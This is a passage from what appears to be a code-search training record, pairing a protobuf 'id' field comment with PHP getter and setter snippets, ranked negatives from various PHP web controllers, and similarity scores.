data_kalender_akademik()\n\t{\n\t\t$data['content'] = 'jadwal/data_kalender_akademik';\n\t\t$data['data'] = $this->m_aka->data_kalender_akademik();\n\t\t$data['pagination'] = $this->pagination->create_links();\t\t\n\t\t$this->load->view('content', $data);\n\t}", "public function show(AlamatPelanggan $alamatPelanggan)\n {\n //\n }", "public function actionGetData(){\n\t\tif(!empty(Yii::app()->user->group_id)){\n\t\t\tif(Yii::app()->user->group_id == 1){\n\t\t\t\t$data['prodi'] = Yii::app()->db->createCommand()\n\t\t\t ->select('p.id_prodi,p.jurusan')\n\t\t\t ->from('prodi p')\n\t\t\t ->queryAll();\n\t\t\t}else{\n\t\t\t\t$data['prodi'] = Yii::app()->db->createCommand()\n\t\t\t ->select('p.id_prodi,p.jurusan')\n\t\t\t ->from('prodi p')\n\t\t\t ->andWhere('p.id_prodi=:id', array(':id'=>Yii::app()->user->group_id))\n\t\t\t ->queryAll();\n\t\t\t}\n\t\t}else{\n\t\t\t$data['prodi'] = Yii::app()->db->createCommand()\n\t\t ->select('p.id_prodi,p.jurusan')\n\t\t ->from('prodi p')\n\t\t ->andWhere('p.id_prodi=:id', array(':id'=>Yii::app()->user->group_id))\n\t\t ->queryAll();\n\t\t}\n\t\t\n\t $data['administrasi'] = Yii::app()->db->createCommand()\n\t ->select('a.id_administrasi,a.th_akademik,a.th_akreditasi')\n\t ->from('administrasi a')\n\t ->order('id_administrasi desc')\n\t ->queryAll();\n\n\t\t$this->render('v_getdata',$data);\n\t}", "public function showDataArchivado()\n {\n #1. Obtengo la información solicitada\n $estado = 3;\n $data = ExpedienteSdaUr::getDataExpediente($estado);\n #2. retorno al menu principal\n return view($this->path.'.data-archivado', compact('data'));\n }", "public function displaymahasiswa()\r\n {\r\n $query = \"select * from data_mahasiswa\";\r\n return $this->db->query($query);\r\n }", "public function show() {\n \n \n }", "public function showCategory(){\n \t$form = M(\"categoryinfo\");\n \t$data = $form->select();\n \t$data = json_encode($data);\n \techo $data;\n \t//$this->display();\n }", "public function data_matkul(){\n\t\t$tahun = \"t_tahun_akademik\";\n\t\t$mk = \"t_mk\";\n\t\t$data['content'] = \"report/matkul\";\n\t\t$data['data_tahun'] = $this->m_aka->get_all($tahun);\n\t\t$data['mk'] = $this->m_aka->get_all($mk);\n\t\t$this->load->view(\"content\", $data);\n\t}", "public function data_bahan_kuliah()\n\t{\n\t\t$this->load->model(\"m_aka\");\n\t\t$data['data'] = $this->m_aka->data_bahan_kuliah(); \n\t\t$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'posting_pengumuman/data_bahan_kuliah';\n\t\t$this->load->view('content', $data);\n\t}", "public function showDataAction (Request $request)\n {\n //recupere les valeurs renvoyees par le formulaire de la page index\n $filter = array();\n \n //et les ajoute au filtre\n if ($request->get('id_arret')) {\n $filter['id_arret'] = $request->get('id_arret');\n }\n if ($request->get('id_ligne')) {\n $filter['id_ligne'] = $request->get('id_ligne');\n }\n if ($request->get('direction') == \"0\"|| $request->get('direction') == \"1\") {\n $filter['direction'] = $request->get('direction');\n }\n \n //recherche les donnees a recuperer en fonction du filtre\n $arretbuses = $this->get('doctrine_mongodb')\n ->getRepository('StarChartBundle:arretbus')\n ->findBy($filter);\n \n \n //on renvoie la vue\n return $this->render('StarChartBundle:Default:showData.html.twig', \n array(\n 'arretbuses' => $arretbuses,\n 'filter' => $filter\n ));\n }", "public static function data()\n {\n return DB::table('detailgaji')\n ->join('potongan', 'detailgaji.kd_potongan', '=', 'potongan.kd_potongan')\n\t \n ->select('potongan.kd_potongan', 'detailgaji.id', 'detailgaji.nomor', 'detailgaji.jumlah')\n\n ->orderBy('detailgaji.nomor', 'asc')\n\t \n ->paginate(10);\n }", "public function show($id)\n {\n $aset = Aset::find($id);\n\n if($aset->Umur_Ergonomis > 0)\n {\n $penyusutan_aset = 0;\n $null = 0;\n $beban_penyusutan = $aset->Harga_Aset;\n\n // Penyusutan (Konstan)\n $penyusutan_aset = ($aset->Harga_Aset - ($aset->Harga_Aset/$aset->Umur_Ergonomis)) / $aset->Umur_Ergonomis;\n\n // Tanggal\n $tanggal = (int)date('Y', strtotime($aset->Tanggal_Masuk));\n for($i=1; $i<=$aset->Umur_Ergonomis; $i++)\n {\n\n $array_harga[] = $beban_penyusutan - $penyusutan_aset;\n // Harga Akhir\n $harga_tumpu = $beban_penyusutan - $penyusutan_aset;\n \n // Array\n $penyusutan[] = array(\n 'Perolehan' => $tanggal,\n 'Masa_Manfaat' => $aset->Umur_Ergonomis,\n 'Harga_Awal' => $beban_penyusutan,\n 'Penyusutan' => $penyusutan_aset,\n 'Harga_Akhir' => $array_harga[$null],\n );\n $null++;\n\n $tanggal = (int)date('Y', strtotime($aset->Tanggal_Masuk)) + $i;\n\n $beban_penyusutan = $beban_penyusutan - $penyusutan_aset;\n }\n \n $data = array(\n 'title' => 'Penyusutan Aset',\n 'aset' => $aset,\n 'penyusutan' => $penyusutan,\n );\n }else{\n return redirect('/aset/data/masuk')->with('message', 'Aset tidak memiliki umur ergonomis');\n }\n\n // return $penyusutan;\n return view('Aset.show', compact('data'));\n // return (int)date('Y', strtotime($aset->Tanggal_Masuk)) + 1;\n }", "function data($jenis, $detail = null, $action = null){\n\t\t\t\n\t\t$jenis = $this->security->xss_clean($this->uri->segment(5));\n\t\t$data['kode'] = $jenis;\n\t\t# set parameters \n\t\t$kd_dosen = $this->session->userdata(\"kd_dosen\");\n\t\t$thn = $this->session->userdata(\"ta\");\n\t\t$smt = $this->session->userdata(\"smt\");\n\t\t$status = $this->session->userdata(\"jenis_dosen\");\n\t\t\n\t\t$kd_ta = $this->setting->_generate_kd_ta($thn);\n\t\t$kd_smt = $this->setting->_generate_kd_smt($smt);\n\t\t\n\t\t $data['is_crud'] = $this->setting->_is_crud_bkd_lalu($kd_ta, $kd_smt);\n\t\t/*if($data['is_crud'] == 1){\n\t\t\t$data['tombol'] = 'style=\"display:block\"';\n\t\t}else{\n\t\t\t$data['tombol'] = 'style=\"display:none\"';\n\t\t} */\n\t\t\t\t\n\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/get_jadwal';\n\t\t$parameter = array();\n\t\t$jadwal = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\tif(!empty($jadwal)){\n\t\t\t$data['tombol'] = 'style=\"display:block\"';\n\t\t}else{\n\t\t\t$data['tombol'] = 'style=\"display:none\"';\n\t\t\t$data['tombol2'] = 'style=\"display:;\"';\n\t\t\t$data['tombol3'] = 'style=\"display:;pointer-events:none; cursor:default;\"';\n\t\t}\t\n\t\t\n\t\tif ($detail !== null){\n\t\t\tif ($action !== ''){\n\t\t\t\tswitch ($action){\n\t\t\t\t\tcase 'penugasan-isi': $data['view'] = 'dosen/isi_dokumen'; break;\n\t\t\t\t\tcase 'penugasan-cari': {\n\t\t\t\t\t\t\t$data['view'] = 'dosen/cari_dokumen';\n\t\t\t\t\t\t}break;\n\t\t\t\t\tcase 'penugasan-upload': $data['view'] = 'dosen/upload_dokumen'; break;\n\t\t\t\t\tcase 'kinerja-isi': $data['view'] = 'dosen/isi_dokumen'; break;\n\t\t\t\t\tcase 'kinerja-cari': {\n\t\t\t\t\t\t\t$data['view'] = 'dosen/cari_dokumen'; \n\t\t\t\t\t}break;\n\t\t\t\t\tcase 'kinerja-upload': $data['view'] = 'dosen/upload_dokumen'; break;\n\t\t\t\t\tdefault : $data['view'] = 'dosen/isi_dokumen'; break;\n\t\t\t\t}\n\t\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/current_data_bkd';\n\t\t\t\t$parameter = array('api_search' => array($detail, $data['kode']));\n\t\t\t\t$data['current_data'] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\n\t\t\t\t# GET PARTNER\n\t\t\t\t$api_url \t= URL_API_BKD.'bkd_dosen/partner';\n\t\t\t\t$parameter = array('api_kode' => 11000, 'api_subkode' => 1, 'api_search' => array($detail,'PENELITIAN'));\n\t\t\t\t$data['partner'] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t\t\t\n\t\t\t\t$data['nama_partner'] = array();\n\t\t\t\tforeach ($data['partner'] as $p){\n\t\t\t\t\t$data['nama_partner'][$p->PARTNER] = $this->get_nama_partner($p->PARTNER);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/current_data_bkd';\n\t\t\t$parameter = array('api_search' => array($detail, $data['kode']));\n\t\t\t$data['current_data'] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t}\n\t\t\n\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/data_bebankerja';\n\t\t$parameter = array('api_search' => array($data['kode'], $kd_dosen, $thn, $smt));\n\t\t$data['data_beban'] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\n\t\t// $temp_sks =0;\n\t\t// foreach ($data['data_beban'] as $key) {\n\t\t// \t$n_sks = (float) str_replace(\",\", \".\", $key->SKS_BKT);\n\t\t// \t$temp_sks +=$n_sks;\n\t\t// }\n\t\t\n\t\t//berubah dari sini \n\t\t//============================================\n\t\t$temp_sks = array();\n\t\tforeach ($data['data_beban'] as $key) {\n\t\t\t$n_sks = (float) str_replace(\",\", \".\", $key->SKS_BKT);\n\t\t\t//$temp_sks +=$n_sks;\n\n\t\t\tif(isset($temp_sks[$key->KD_KAT])){\n\t\t\t\t$temp_sks[$key->KD_KAT] += $n_sks;\n\t\t\t}else{\n\t\t\t\t$temp_sks[$key->KD_KAT] = $n_sks;\n\t\t\t}\n\t\t}\n\n\t\t//===========================================\n\n\n\n\t\t$kd=$this->session->userdata('kd_dosen');\n\t\t$ta = $this->session->userdata('kd_ta');\n\t\t$smt = $this->session->userdata('kd_smt');\n\n\t\t$kd_ta = $this->_generate_ta($ta);\n\t\t$kd_smt = $this->_generate_smt($smt);\n\t\t$this->session->unset_userdata('jenis_dosen');\n\t\t$this->session->set_userdata('jenis_dosen', $this->history->_status_DS($kd, $kd_ta, $kd_smt));\n\n\t\t\n\t\tswitch ($jenis) {\n\t\t\tcase 'A':\n\t\t\t\t$subkode = 1;//syarat pendidikan\n\t\t\t\tbreak;\n\t\t\tcase 'B':\n\t\t\t\t$subkode = 2;//syarat penelitian\n\t\t\t\tbreak;\n\t\t\tcase 'C':\n\t\t\t\t$subkode = 3;//syarat pengabdian\n\t\t\t\tbreak;\n\t\t\tcase 'D': case 'F': case 'H':\n\t\t\t\t$subkode = 4;//syarat penunjang\n\t\t\t\tbreak;\n\n\t\t}\n\t\t//get syarat dari API\n\t\t\t$syarat_minimal = $this->s00_lib_api->get_api_json(\n\t\t\t\t\t\tURL_API_BKD.'/bkd_beban_kerja/get_syarat_kesimpulan',\n\t\t\t\t\t\t'POST',\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'api_kode' => 1000,\n\t\t\t\t\t\t\t'api_subkode' => $subkode, //untuk PENDIDIKAN\n\t\t\t\t\t\t\t'api_search' => array($this->history->_status_DS($kd, $kd_ta, $kd_smt))\n\t\t\t\t\t\t)\n\t\t\t\t\t);\n\t\t\n\t\t//$temp_sks;\n\t\tif(isset($syarat_minimal['NILAI'])){\n\t\t\t$syarat_sks = $syarat_minimal['NILAI'];\n\t\t}else{\n\t\t\t$syarat_sks = 0;\n\t\t}\n\t\t\n\t\t$i=0;\n\t\tforeach ($data['data_beban'] as $key) {\n\t\t\t$kd_bk = $key->KD_BK;\n\t\t\t$kd_kat = $key->KD_KAT;\n\t\t\t$status_pindah = $key->STATUS_PINDAH;\n\t\t\tif($status_pindah == 1){\n\t\t\t\t$kd_kat_remun = $kd_kat;\n\t\t\t}elseif($status_pindah == 0){\n\t\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/get_kd_kat_remun2';\n\t\t\t\t$parameter = array('api_search' => array($kd_kat));\n\t\t\t\t$kd_kat_remun = $this->s00_lib_api->get_api_json($api_url,'POST',$parameter);\n\t\t\t}\n\n\t\t\t//=======\n\n\t\t\t$temp_syarat = $this->s00_lib_api->get_api_json(\n\t\t\t\t\t\tURL_API_BKD.'/bkd_beban_kerja/get_syarat_kesimpulan_kat',\n\t\t\t\t\t\t'POST',\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'api_kode' => 1000,\n\t\t\t\t\t\t\t'api_subkode' => $subkode, //untuk PENDIDIKAN\n\t\t\t\t\t\t\t'api_search' => array($this->history->_status_DS($kd, $kd_ta, $kd_smt), $kd_kat)\n\t\t\t\t\t\t)\n\t\t\t\t\t);\n\n\t\t\t$data['data_beban'][$i]->MINIMAL_SKS = $temp_syarat;\n\n\t\t\t//=======\n\n\t\t\t$data['data_beban'][$i]->KD_KAT_REMUN = $kd_kat_remun;\n\t\t\tif((($temp_sks[$kd_kat] - $data['data_beban'][$i]->SKS_BKT) >= $temp_syarat) AND $data['data_beban'][$i]->STATUS_PINDAH==0){\n\t\t\t\t$data['data_beban'][$i]->SYARAT_PINDAH = 1;//dapat dipindah\n\t\t\t}else{\n\t\t\t\t$data['data_beban'][$i]->SYARAT_PINDAH = 0;//tidak dapat dipindah\n\t\t\t}\n\t\t\t\n\t\t\t$i++;\n\t\t\t/*echo \"<pre>\";\n\t\t\tprint_r($key);\n\t\t\techo \"<pre>\";*/\n\n\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/get_kd_kat';\n\t\t\t$parameter \t= array('api_search'=>array($kd_bk));\n\t\t\t$kd_kat = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\n\t\t\t//cek di tabel konversi apakah kd_kat memiliki kd_kat remun\n\t\t\t$api_url \t= URL_API_BKD.'bkd_beban_kerja/cek_kd_konversi';\n\t\t\t$parameter \t= array('api_search'=>array($kd_kat));\n\t\t\t$data['konversi'][$kd_kat] = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t}\n\n\t\t// echo '<pre>';\n\t\t// print_r($data['data_beban']);\n\t\t// echo '</pre>';\n\n\t\t// die();\n\n\t\t/*die();*/\n\t\t/*\n\n\t\tdie();*/\n\t\t#print_r($data['data_beban']);\n\t\t# load view\n\n\t\t/*mekanisme cek data asesor, untuk melihat apakah dosen sudah mengisi data asesor atau belum*/\n\t\t$data['nira'] = $this->get_data_asesor_dosen_by_nip();\n\t\t\n\t\t$this->cek_nira_asesor_dosen_uin();\n\t\t$this->auto_insert_penelitian();\n\n\t\t/*$this->auto_insert_pengabdian();*/ /*SUDAH BISA INSERT TINGGAL TUNGGU KEPUTUSAN DATA PENGABDIAN*/\n\n\t\t$this->output99->output_display('dosen/daftar_beban_kerja',$data);\n\t}", "public function listdataAction() {\n $this->view->dataList = $this->adm_listdata_serv->getDataList('%');\n }", "public abstract function showInfo();", "public function show();", "public function show();", "public function show();" ]
[ "0.7435701", "0.7332886", "0.7250628", "0.7028514", "0.7014889", "0.6910163", "0.6863816", "0.6819001", "0.67287356", "0.6646815", "0.65934384", "0.65325785", "0.65040916", "0.6460516", "0.64593923", "0.6444549", "0.6410417", "0.6403099", "0.6384062", "0.63737494", "0.6353209", "0.6335178", "0.6308086", "0.62941986", "0.62918043", "0.6275269", "0.62432593", "0.6235544", "0.62338495", "0.6200424", "0.61994034", "0.6180367", "0.61802286", "0.6180115", "0.6175603", "0.617161", "0.61580974", "0.61456984", "0.6124384", "0.6124384", "0.6124384", "0.6119863", "0.61192757", "0.61150664", "0.6112316", "0.61117667", "0.6111315", "0.6110869", "0.61098784", "0.6109463", "0.6104236", "0.6102872", "0.61016124", "0.6094346", "0.60816175", "0.6076083", "0.6075584", "0.607522", "0.60704696", "0.60696435", "0.6063826", "0.6057815", "0.6057175", "0.6049669", "0.60452205", "0.6042827", "0.60423476", "0.6027251", "0.602568", "0.6016567", "0.6012002", "0.60041577", "0.6003009", "0.60026234", "0.59983313", "0.59969056", "0.5996684", "0.599573", "0.5990435", "0.5986897", "0.59862816", "0.59844416", "0.5983048", "0.5980542", "0.5979693", "0.5971785", "0.5969529", "0.59678185", "0.596434", "0.5961945", "0.59595025", "0.5958491", "0.5957293", "0.5956887", "0.5956515", "0.59538704", "0.59512967", "0.5946949", "0.594485", "0.594485", "0.594485" ]
0.0
-1
Generated from protobuf field string id = 1;
public function getId() { return $this->id; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function id(): string;", "public function id(): string;", "function getId(){ return $this->toString(); }", "public function setId(string $id);", "abstract public function id(): string;", "public function id(): string\n {\n return $this->id;\n }", "public function id(): string\n {\n return $this->id;\n }", "public function id(): string\n {\n return $this->id;\n }", "public function getStringId()\n\t{\n\t\treturn 'id_' . $this->getId();\n\t}", "function get_idstring() {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getStrId();", "public static function id()\n {\n return 1;\n }", "public function getId() : string{\n return $this->id;\n }", "public function getId() : string{\n return $this->id;\n }", "function id():string {return $this->_p['_id'];}", "public function getId(): string\n {\n return (string) $this->id;\n }", "public function getId() : string\n {\n return $this->id;\n }", "public function getId() : string\n {\n return $this->id;\n }", "public function getId() : string;", "public function getId(): string;", "public function getId(): string;", "public function getId(): string;", "public function getId(): string;", "public function getId():string {\n return $this->id;\n }", "public function getId(): String;", "public function getId() : string {\n return $this->id;\n }", "public function setId($id){\n $this->id = (string) $id;\n }", "public function getID() : string;", "public function getID(): string;", "public static function parseID($id){ }", "public function __construct(string $id)\n {\n $this->id = $id;\n }", "public function __construct(string $id)\n {\n $this->id = $id;\n }", "public function __construct(string $id)\n {\n $this->id = $id;\n }", "public function __construct(string $id);", "public function id(): string\n {\n if ($this->id) {\n return $this->id;\n }\n\n if ($this->name) {\n return $this->id = $this->generateIdByName();\n }\n\n return $this->id = Str::random(4);\n }", "public function determineId() {}", "public function setId(string $id)\n\t{\n\t\t$this->id=$id; \n\t\t$this->keyModified['id'] = 1; \n\n\t}", "public function setId()\n\t{\n\t}", "public function setID($v)\n { return $this->set('id', $v ? $v : JSONMessage::generateID()); }", "public function id() {\n return $this->id;\n }", "function set_idstring($id) {\n $this->id = $id;\n return true;\n }", "public static function getID() {\r\n return 1;\r\n }", "public static function id()\n {\n return new TextNode('id');\n }", "final public function __toString(): string\n {\n return $this->id;\n }", "public static function id()\n {\n return self::$id;\n }", "public function getId()\n {\n return substr($this->_id, 0, 12);\n }", "function get_id($id){\n\t\t$this->id = $id;\n\t}", "public function getIdField() : string\n {\n return 'id';\n }", "public function id();", "public function id();", "public function id();", "public function id();", "public function id();", "public function id();", "public function id();", "public function id();", "public function id();", "public function id(): string\n {\n return $this->getAttribute('id');\n }", "abstract function getId();", "public static function parseId($id){\n return $id;\n }", "public function getId() {}", "public function getId() {}", "public function getId() ;", "function getId();", "public function getId(): string\n {\n $message = (string) $this->getRawMessage();\n return substr(md5($message), 0, 10);\n }", "public function ID(): int;", "static public function setId($id){\n \tif (self::$_id != $id){\n \t\tself::$_id = $id;\n \t\tself::regenerate();\n \t}\n }", "public function id()\n {\n return $this->id;\n }", "public function id()\n {\n return $this->id;\n }", "public function id()\n {\n return $this->id;\n }", "public function id()\n {\n return $this->id;\n }", "abstract public function getId();", "private static function _id($id)\n {\n return ($id == Null)?Null:' id=\"'.$id.'\"';\n }", "abstract public function getId();", "abstract public function getId();", "abstract public function getId();", "public function setId($x) { $this->id = $x; }", "public function set_id($id) {\n $this->_newid = preg_replace(\"/[^a-zA-Z0-9]/\", '', $id);\n }", "public function getID()\n {\n return 1;\n }", "public function getId() { return $this->id; }", "public function getId() { return $this->id; }", "public function getId() { return $this->id; }", "public function getId() { return $this->id; }", "public function getId() { return $this->id; }", "public function getId()\n {\n return (substr($this->_id, 0, 12));\n }", "function __construct($id=\"\") {\n\t\tself::$id = $id;\n\t}", "public function setId($id) { $this->id = $id; }", "public function setId($id)\n {\n $this->id = $id ? $id : uniqid();\n }", "public function getId();", "public function getId();" ]
[ "0.651602", "0.651602", "0.64940196", "0.6486837", "0.6470575", "0.64663", "0.64663", "0.64663", "0.6433831", "0.63945806", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63532186", "0.6347002", "0.6325564", "0.6325564", "0.63157266", "0.63115835", "0.62817687", "0.62817687", "0.62682635", "0.6266958", "0.6266958", "0.6266958", "0.6266958", "0.62630415", "0.62525046", "0.6242044", "0.62388986", "0.6222659", "0.62133396", "0.6199675", "0.61894786", "0.61894786", "0.61894786", "0.61880994", "0.618163", "0.61703235", "0.6144645", "0.61433154", "0.6135826", "0.6134128", "0.61307067", "0.6119277", "0.60968703", "0.60801125", "0.6078652", "0.6076064", "0.60745996", "0.6072565", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60414785", "0.6026665", "0.6011226", "0.6004817", "0.6004817", "0.59969527", "0.5994023", "0.5962628", "0.59573066", "0.5952512", "0.59510213", "0.59510213", "0.59510213", "0.59510213", "0.5938793", "0.59377784", "0.59314215", "0.59314215", "0.59314215", "0.5931421", "0.59250414", "0.592109", "0.5917231", "0.5917231", "0.5917231", "0.5917231", "0.5917231", "0.5914604", "0.5903717", "0.58939767", "0.5892712", "0.58921707", "0.58921707" ]
0.0
-1
Generated from protobuf field string id = 1;
public function setId($var) { GPBUtil::checkString($var, True); $this->id = $var; return $this; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function id(): string;", "public function id(): string;", "function getId(){ return $this->toString(); }", "public function setId(string $id);", "abstract public function id(): string;", "public function id(): string\n {\n return $this->id;\n }", "public function id(): string\n {\n return $this->id;\n }", "public function id(): string\n {\n return $this->id;\n }", "public function getStringId()\n\t{\n\t\treturn 'id_' . $this->getId();\n\t}", "function get_idstring() {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getId(): string\n {\n return $this->id;\n }", "public function getStrId();", "public static function id()\n {\n return 1;\n }", "public function getId() : string{\n return $this->id;\n }", "public function getId() : string{\n return $this->id;\n }", "function id():string {return $this->_p['_id'];}", "public function getId(): string\n {\n return (string) $this->id;\n }", "public function getId() : string\n {\n return $this->id;\n }", "public function getId() : string\n {\n return $this->id;\n }", "public function getId() : string;", "public function getId(): string;", "public function getId(): string;", "public function getId(): string;", "public function getId(): string;", "public function getId():string {\n return $this->id;\n }", "public function getId(): String;", "public function getId() : string {\n return $this->id;\n }", "public function setId($id){\n $this->id = (string) $id;\n }", "public function getID() : string;", "public function getID(): string;", "public static function parseID($id){ }", "public function __construct(string $id)\n {\n $this->id = $id;\n }", "public function __construct(string $id)\n {\n $this->id = $id;\n }", "public function __construct(string $id)\n {\n $this->id = $id;\n }", "public function __construct(string $id);", "public function id(): string\n {\n if ($this->id) {\n return $this->id;\n }\n\n if ($this->name) {\n return $this->id = $this->generateIdByName();\n }\n\n return $this->id = Str::random(4);\n }", "public function determineId() {}", "public function setId(string $id)\n\t{\n\t\t$this->id=$id; \n\t\t$this->keyModified['id'] = 1; \n\n\t}", "public function setId()\n\t{\n\t}", "public function setID($v)\n { return $this->set('id', $v ? $v : JSONMessage::generateID()); }", "public function id() {\n return $this->id;\n }", "function set_idstring($id) {\n $this->id = $id;\n return true;\n }", "public static function getID() {\r\n return 1;\r\n }", "public static function id()\n {\n return new TextNode('id');\n }", "final public function __toString(): string\n {\n return $this->id;\n }", "public static function id()\n {\n return self::$id;\n }", "public function getId()\n {\n return substr($this->_id, 0, 12);\n }", "function get_id($id){\n\t\t$this->id = $id;\n\t}", "public function getIdField() : string\n {\n return 'id';\n }", "public function id();", "public function id();", "public function id();", "public function id();", "public function id();", "public function id();", "public function id();", "public function id();", "public function id();", "public function id(): string\n {\n return $this->getAttribute('id');\n }", "abstract function getId();", "public static function parseId($id){\n return $id;\n }", "public function getId() {}", "public function getId() {}", "public function getId() ;", "function getId();", "public function getId(): string\n {\n $message = (string) $this->getRawMessage();\n return substr(md5($message), 0, 10);\n }", "public function ID(): int;", "static public function setId($id){\n \tif (self::$_id != $id){\n \t\tself::$_id = $id;\n \t\tself::regenerate();\n \t}\n }", "public function id()\n {\n return $this->id;\n }", "public function id()\n {\n return $this->id;\n }", "public function id()\n {\n return $this->id;\n }", "public function id()\n {\n return $this->id;\n }", "abstract public function getId();", "private static function _id($id)\n {\n return ($id == Null)?Null:' id=\"'.$id.'\"';\n }", "abstract public function getId();", "abstract public function getId();", "abstract public function getId();", "public function setId($x) { $this->id = $x; }", "public function set_id($id) {\n $this->_newid = preg_replace(\"/[^a-zA-Z0-9]/\", '', $id);\n }", "public function getID()\n {\n return 1;\n }", "public function getId() { return $this->id; }", "public function getId() { return $this->id; }", "public function getId() { return $this->id; }", "public function getId() { return $this->id; }", "public function getId() { return $this->id; }", "public function getId()\n {\n return (substr($this->_id, 0, 12));\n }", "function __construct($id=\"\") {\n\t\tself::$id = $id;\n\t}", "public function setId($id) { $this->id = $id; }", "public function setId($id)\n {\n $this->id = $id ? $id : uniqid();\n }", "public function getId();", "public function getId();" ]
[ "0.651602", "0.651602", "0.64940196", "0.6486837", "0.6470575", "0.64663", "0.64663", "0.64663", "0.6433831", "0.63945806", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63534427", "0.63532186", "0.6347002", "0.6325564", "0.6325564", "0.63157266", "0.63115835", "0.62817687", "0.62817687", "0.62682635", "0.6266958", "0.6266958", "0.6266958", "0.6266958", "0.62630415", "0.62525046", "0.6242044", "0.62388986", "0.6222659", "0.62133396", "0.6199675", "0.61894786", "0.61894786", "0.61894786", "0.61880994", "0.618163", "0.61703235", "0.6144645", "0.61433154", "0.6135826", "0.6134128", "0.61307067", "0.6119277", "0.60968703", "0.60801125", "0.6078652", "0.6076064", "0.60745996", "0.6072565", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60703206", "0.60414785", "0.6026665", "0.6011226", "0.6004817", "0.6004817", "0.59969527", "0.5994023", "0.5962628", "0.59573066", "0.5952512", "0.59510213", "0.59510213", "0.59510213", "0.59510213", "0.5938793", "0.59377784", "0.59314215", "0.59314215", "0.59314215", "0.5931421", "0.59250414", "0.592109", "0.5917231", "0.5917231", "0.5917231", "0.5917231", "0.5917231", "0.5914604", "0.5903717", "0.58939767", "0.5892712", "0.58921707", "0.58921707" ]
0.0
-1
Generated from protobuf field string name = 2;
public function getName() { return $this->name; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function big($name)\n {\n return $name;\n }", "public function getName(){ return $this->getField('name'); }", "public function get(string $name): FieldContract;", "function getName () {return $this->getFieldValue ('name');}", "public function id($name)\n {\n $keepIdx = preg_replace('/\\[(\\d+)\\]/', \"_$1\", $name);\n $unbracketted = $this->removeBrackets($keepIdx, '_');\n $nothingWeird = preg_replace('/[^\\w\\d\\_]+?/', \"\", $unbracketted);\n $noTrail = preg_replace('/_$/', \"\", $nothingWeird);\n\n $clean = $noTrail;\n\n if (!is_null($this->associatedEntity) && $this->associatedEntity->isSupportedAttribute($name)) {\n $clean = $this->associatedEntity->getInputName() . \"_\" . $clean;\n }\n\n return $this->keys['POST_WRAP'] . \"_\" . $clean;\n }", "public function label($name) {\n\t\tif(!$this->field) return '';\n\t\treturn $this->field->type->getLabel($this->field, $name); \n\t}", "public function name($name);", "function get_field_name( $str ){\n\t\treturn 'field-'.$this->id_base.'['.$this->number.']['.$str.']';\n\t}", "protected function getPayloadName ($name, $type='') {\n\t\tif ($type === 'belongsTo') {\n\t\t\treturn NamingUtility::decamelize($name) . '_id';\n\t\t} elseif ($type === 'hasMany') {\n\t\t\treturn NamingUtility::singularize(NamingUtility::decamelize($name)) . '_ids';\n\t\t}\n\t\treturn NamingUtility::decamelize($name);\n\t}", "public function getByName($name, $type = BasePeer::TYPE_FIELDNAME)\n {\n $pos = BangunanPeer::translateFieldName($name, $type, BasePeer::TYPE_NUM);\n $field = $this->getByPosition($pos);\n\n return $field;\n }", "public function __construct(String $name) {\n\t\t$this->name = $name;\n\t\t$this->parameters = new \\stdClass();\n\t\t$this->resultDecimalSep = '.';\n\t\t$this->resultThousandsSep = '';\n\t}", "public function getNamedFixedStaticBagModelArgument($name);", "public static function getDescriptor()\n {\n static $descriptor;\n\n if (!isset($descriptor)) {\n $desc = new ProtocolBuffersDescriptorBuilder();\n $desc->addField(1, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_STRING,\n \"name\" => \"name\",\n \"required\" => true,\n \"optional\" => false,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => \"\",\n )));\n $desc->addField(2, new 